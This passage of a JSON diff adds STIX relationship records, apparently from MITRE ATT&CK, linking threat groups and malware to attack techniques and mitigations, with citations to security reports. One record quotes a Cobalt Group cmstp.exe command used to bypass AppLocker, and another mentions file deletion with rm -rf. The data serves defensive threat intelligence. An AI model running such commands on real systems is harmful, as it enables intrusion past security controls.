"attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T12:24:57.475Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4fe3f0a3-1330-4b51-be17-b38a54b6e605", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:04:13.205Z", + "type": "relationship", + "id": "relationship--162d2d29-7810-499c-a9ab-08b60cd0e713", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--91816292-3686-4a6e-83c4-4c08513b9b57", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) attempted to get users to launch malicious attachments delivered via spearphishing emails.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b033e131-e448-46c6-815b-b86e4bd6d638", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "modified": "2019-04-25T11:39:52.024Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Remote Desktop Protocol to conduct lateral movement.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--78865095-f63e-461c-9e32-e202d514747d", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.260Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.355Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--09c957e3-f89b-4b41-93af-bde08f00ce36", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) attempts to obtain legitimate credentials during operations.", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625", + "external_references": [ + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + } + ], + "modified": "2019-03-25T16:51:54.109Z", + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers data from the local victim system.", + "type": "relationship", + "created": "2017-05-31T21:33:27.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:32:43.626Z", + "type": "relationship", + "id": "relationship--47639246-6268-4a7e-9670-965873bdfb42", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:39:28.080Z", + "type": "relationship", + "id": "relationship--130275cb-368e-4168-a4bf-60b39566bc50", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.020Z", + "source_ref": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used environment variables and standard input (stdin) to obfuscate command-line arguments. [FIN8](https://attack.mitre.org/groups/G0061) also obfuscates malicious macros delivered as payloads.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82ce1bf6-b1a1-4a82-9c86-8ff372d6a873", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.541Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:36.947Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used command line for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d164d443-6298-47eb-b767-8f1136f6b6b5", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.301Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T18:44:28.612Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "relationship_type": "uses", + "target_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:42:29.489Z", + "type": "relationship", + "id": "relationship--52b6181e-881e-4b96-93a3-1292bc2f1352", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.023Z", + "source_ref": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used regsvr32.exe to execute a server variant of [Derusbi](https://attack.mitre.org/software/S0021) in victim networks.", + "type": "relationship", + "created": "2017-05-31T21:33:27.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e", + "external_references": [ + { + "source_name": "RSA Shell Crew", + "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.", + "url": "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + } + ], + "modified": "2019-03-22T20:09:34.647Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used SMB for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7af4c9fb-72c2-437e-b0f2-caf3f07d493b", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). 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Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:15.805Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the command cmstp.exe /s /ns C:\\Users\\ADMINI~W\\AppData\\Local\\Temp\\XKNqbpzl.txt to bypass AppLocker and launch a malicious script.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5dbd040e-0433-42ca-8e03-b3741be31cb2", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + }, + { + "source_name": "Unit 42 Cobalt Gang Oct 2018", + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/" + } + ], + "modified": "2019-07-26T23:38:33.286Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) obtains and saves information about victim network interfaces and addresses.", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3", + "external_references": [ + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:28:17.246Z", + "type": "relationship", + "id": "relationship--13f5fad8-1b6f-4b65-9803-155f93b5d357", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.027Z", + "source_ref": "course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:57:37.438Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42897880-fe55-4f54-a42c-f85ba19fb39a", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c87a8320-8705-4de3-93ee-2db5c00ea461", + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2019-03-22T19:57:37.059Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to use rm -rf to remove folders and files from the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a9c1c589-b5c6-4231-982f-cae0aa41f349", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) uses Rundll32 to ensure only a single instance of itself is running at once.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--592324b4-064a-430c-8ffc-7f7acd537778", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--145634d0-cd6c-4184-965a-fe77a158ff97", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.083Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:05:33.401Z", + "type": "relationship", + "id": "relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.019Z", + "source_ref": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f67c1df3-9a03-456e-9de9-74a2ac3a2061", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.306Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A keylogging tool used by [APT3](https://attack.mitre.org/groups/G0022) gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.", + "type": "relationship", + "created": "2017-05-31T21:33:27.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "modified": "2019-04-29T18:01:20.204Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has packed malware payloads before delivery to victims.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f8c27264-e42d-48fd-9a18-4b275383f155", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "modified": "2019-03-22T20:15:19.351Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:25:12.812Z", + "type": "relationship", + "id": "relationship--b6f00052-49e3-48c5-8f5e-492be4e67acf", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.022Z", + "source_ref": "course-of-action--c1676218-c16a-41c9-8f7a-023779916e39", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--896cd1de-ffa7-4f69-a981-2859cc756601", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2019-05-03T16:42:19.154Z", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:42:41.438Z", + "type": "relationship", + "id": "relationship--67bde2b2-49d1-4a61-8fe7-1a48c58089e6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has collected emails from victim Microsoft Exchange servers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ba59a68-1883-492d-8cd8-f22656eb58a4", + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:35.395Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-30T18:05:32.905Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f", + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf" + } + ], + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": 